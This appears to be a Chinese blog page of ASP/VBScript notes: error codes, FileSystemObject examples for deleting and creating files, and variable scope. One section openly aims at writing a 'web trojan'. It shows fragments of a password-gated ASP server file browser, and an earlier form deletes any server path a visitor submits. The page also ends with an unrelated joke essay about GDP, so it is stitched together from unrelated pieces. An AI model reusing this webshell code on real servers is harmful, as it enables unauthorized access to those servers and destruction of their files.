ASP/VB Err.Number常见错误对照表

在编写ASP文件时,经常性会遇到一些执行错误,浏览器会给出一些错误代码,部分常见错误代码对照:
5=无效的过程调用或者参数无效
6=溢出
7=内存不足
17=不能完成所要求的操作
35=没有定义子程序、函数,或属性
48=装入dll时发生错误
51=内部错误
52=错误的文件名或数目
53=文件找不到
58=文件已经存在
61=磁盘已满
62=输入已超过文件结尾
70=没有访问权限
71=磁盘尚未就绪
74=不能用其他磁盘机重命名
75=路径/文件访问错误
76=找不到路径
335=不能访问系统注册表
387=性设置不允许
422=找不到属性
423=找不到属性或方法
424=需要对象
425=无效的对象使用
432=在自动操作期间找不到文件或类名
438=对象不支持此属性或方法

我们可以利用这些代码使反馈信息变得更友好些。

1
2
3
4
5
6
<%
On error resume next '容错语句,程序遇到错误继续往下执行
if Err.Number=0 Then '如果程序无错
Response.Write("Right") 
End if
%>
1
2
3
4
5
6
<%
On error resume next
if Err.Number<>0 Then '<>即Basic语言中的不等号,即如果程序有错
Response.Write("Wrong")
End if
%>

ASP运用FSO对象的DeleteFile方法删除指定文件

1
2
3
4
<% 
set fso=server.CreateObject("scripting.filesystemobject")
fso.deletefile ("F:\WebSite files\wwwroot\123.txt") 
%>

或者:

1
2
3
4
5
<% 
set fso=server.CreateObject("scripting.filesystemobject")
file=server.MapPath("123.txt")
fso.deletefile file
%>

以上指定被删除的文件是在代码中设定的,直接打开这个ASP文件,123.txt就被删除了。也可以加个表单功能让使用者可以在前台输入要删除的文件,当Submit之后再执行删除操作。代码如下:

1
2
3
4
5
6
7
8
9
10
11
<form method="post" action="?action=del">
<input type="text" name="file" value="<%=server.MapPath("./")%>" size="40"/>
<input type="submit" name="delete" />
</form>
<% 
if request("action")="del" then
set fso=server.CreateObject("scripting.FileSystemObject")
set file=request.Form("file")
fso.deletefile file,true        '强制删除只读文件
end if
%>

运用FSO对象的Folderexists方法判断文件夹是否存在

FSO的FolderExists方法,作用是如果指定的文件夹存在,则返回 True;如果不存在,则返回 False。
代码示例:

1
2
3
4
5
6
7
8
<%dim fso  '定义变量名FSO
Set fso=CreateObject("Scripting.FileSystemObject")      '建立一个FSO对象
if fso.Folderexists("F:\WebSite files\wwwroot\fso") =true then  '使用FSO的Folderexists方法判断该文件夹是否存在
response.write("Yes")         '存在,则输出Yes
else
response.write("No")       '不存在,则输出No
end if
%>

运用FSO对象的CreateTextFile方法创建一个文本文件实例

FSO是VBScript的一个文件系统对象,它不像VBScript的其他对象如Response\Request是内置的,所以在使用FSO之前首先要创建FSO对象。

1
2
3
<%
Set fso = Server.CreateObject("Scripting.FileSystemObject") 
%>

FSO对象创建成功,接下来才能使用FSO对象的诸多方法,如:CopyFile、CopyFolder、CreateFolder、CreateTextFile、DeleteFile、DeleteFolder。下面示例如果使用FSO对象的CreateTextFile来创建一个文本文件。

1
2
3
4
5
6
7
<%
Dim fso, MyFile
Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.CreateTextFile("f:\website files\wwwroot\testfile.txt", True)
MyFile.WriteLine("This is a test file.")
MyFile.Close
%>

运行这个ASP文件,会在F:\website file\wwwroot文件夹内创建一个testfile.txt,内容为This is a test file。

VBScript声明变量dim实例

声明变量可以使用Dim语句、Public语句和Private语句。示例:

1
2
3
4
5
<% 
dim a
a = 1
response.write a+2         '因为变量a=1,所以输出结果=3
%>

也可以同时声明多个变量

1
2
3
4
5
6
7
<% 
dim a
dim b
a = 1
b = 2
response.write a+b 
%>

或者将两个变量写在一行,用逗号隔开

1
2
3
4
5
6
<% 
dim a,b
a = 1
b = 2
response.write a+b 
%>

变量的作用域有不同的级别,这由声明它的位置决定。
如果在一个Sub过程中声明变量,则只有该过程中的代码可以使用该变量,此时变量具有局部作用域,我们称为过程级变量。示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
<%
Sub GetFolder()
dim theFolder,theSubFolders            '该变量是在GetFolder过程之内,称为过程级变量
if fsoBrowse.FolderExists(cpath)then
 Set theFolder=fsoBrowse.GetFolder(cpath)
 Set theSubFolders=theFolder.SubFolders
Response.write"...."
For Each x In theSubFolders
 Response.write"...."
Next
end if
End Sub
%>

如果在过程之外声明变量,则该变量可以被 Script 中所有过程所识别,称为Script级变量,具有Script级作用域。

注意:变量命的第一个字符必须是字母。

应用VBScript Sub过程将两个ASP文件合并

网站登陆设计中,我们一般做一个Login.asp用于登陆,checklog.asp用于检测登陆,Index.asp是登陆成功后进入的后台页面。在我们编写网页木马的时候,这些页面基本上要合并在一个asp文件中。

以下示例,如何将两个文件合并在一个ASP文件里。

1
2
3
4
5
6
7
8
9
10
11
12
<%
if request.cookies("password")="robinyu" then        '-----------if条件语句开始---------
dim cpath,lpath
set fsoBrowse=CreateObject("Scripting.FileSystemObject")
if Request("path")="" then
lpath="/"
else
lpath=Request("path")&"/"
end if
cpath=Server.MapPath(lpath)
.......
%>

以上是登陆成功后显示的内容,以下是如果登陆信息不正确,则返回一个登陆框。

1
2
3
4
5
6
7
8
9
10
<%else
call login          '登陆不正确,则调用预先封装的login过程
%>
<%
sub login                       '--------------开始定义login的内容-----------
if trim(request.Form("password"))="123" then    
response.cookies("password")="robinyu"          
response.redirect "fso.asp" 
else
%>

判断Cookies

1
2
3
4
<%if request.form("password")<>"" then
response.write "Your password is wrong,Please try again"
end if
 %>

登陆表单

1
2
3
4
5
6
7
8
 <form method="POST" action="fso.asp">
 <div align="center"><center>
   <p>PassWord:
     <input type="password" name="password" size="20">
	 <input type="submit" value="LOGIN" name="B1">
   </p>
 </center></div>
 </form>
1
<%end if%>
1
2
3
4
<%end sub%>            '---------------login定义结束----------------
<%
end if                                       '----------------------if条件语句结束-------------
%>

VBScript的Sub子程序和Function函数程序

VBScript可以将子程序封装起来便于调用,子程序(过程)是写程序的时候自己定义的,如果你有一段程序代码在多处要调用,为了让程序代码整洁,可以定义一个过程,在需要使用的地方直接调用这个过程。

VBScript提供两种封装方法,Sub和Function。

Sub封装方法:

<%
Sub Name
.....Your code.......
End Sub
%>

Sub封装时不可以在一个Sub End Sub里嵌套一个Sub。

调用方法:

<%
call name
%>

比如用在一个if条件语句中:

<% if.........
call name1
else
call name2
end if
%>

Function封装方法:

<%
Function myfunction()
some statements
myfunction=some value
End Function
%>
调用方法:
<%
name = findname()
%>

吃屎也能带动GDP增长吗?

一个大学教授举例向同学们讲述了GDP是如何增加的:
简单的说,GDP就是三次产业增加的总和。打个比方,某人开车从朝阳区到海淀区,如果平安到达,是不产生GDP的。如果出了车祸,就会需要保险公司理赔,需要修车铺修理,如果车灯等零件坏了,汽车配件公司的产品也有了买主了,经过几天的忙碌,车子修好了,北京的GDP也就增加了。
在网上看到这样一个笑话:
师兄和师弟是学经济的,一天两人在公园散步遇到一陀屎,师兄打趣的说,你要敢吃了它,我给你5000万。师弟计算了一下,觉得值得,于是把屎吃了下去得到了师兄的5000万支票。可是屎并不好吃,虽然得到了支票却对师兄特别不满,这时又遇到一陀屎,于是反问师兄,你敢吃吗?你吃下去我也给你5000万,师兄正为失去的5000万后悔不已,二话不说将屎吃进肚里,收回了5000万。又走了一阵,两人觉得不对劲,每人白白吃了一陀屎什么也没得到?他们感到不解,于是去找师父。师父听后激动的竖起一只手指:“1个亿啊,1个亿,你们为国家GDP增长作出了一个亿的贡献。“
近年来GDP每年都有增加,却很少有人真正感觉过得比去年滋润,于是有了一种声音,认为GDP是骗人的。这个故事大概就是他们编出来的。
如果师兄二人把吃屎的报酬定高一点,比如吃一口5000亿,那么二人就可以边吃边数五千亿,一万亿,一万五千亿了。
GDP一个基本且重要的概念在这个故事中忽略了,那就是“常住单位”,GDP是我国所有常住单位一定时期内生产活动的最终成果,常住单位是具有经济利益中心的经济单位。这个经济单位需要具备如下三个要素:
1,拥有一定的经济活动场所
2,具有一定的经济活动规模
3,具有一定的经济活动时间,一般在一年以上。
基于这三个要素来分析上面两位师兄弟的吃屎行为到底有没有给国家带来GDP呢?
1,他们拥有一定的活动场所——公园。
2,此次活动相当具有经济规模——1个亿。
3,一年以上的经济活动时间,很显然这一点不符合。他们只是突发奇想尝了这么一下。
所以我们不提倡以这种形式为国家的GDP作贡献。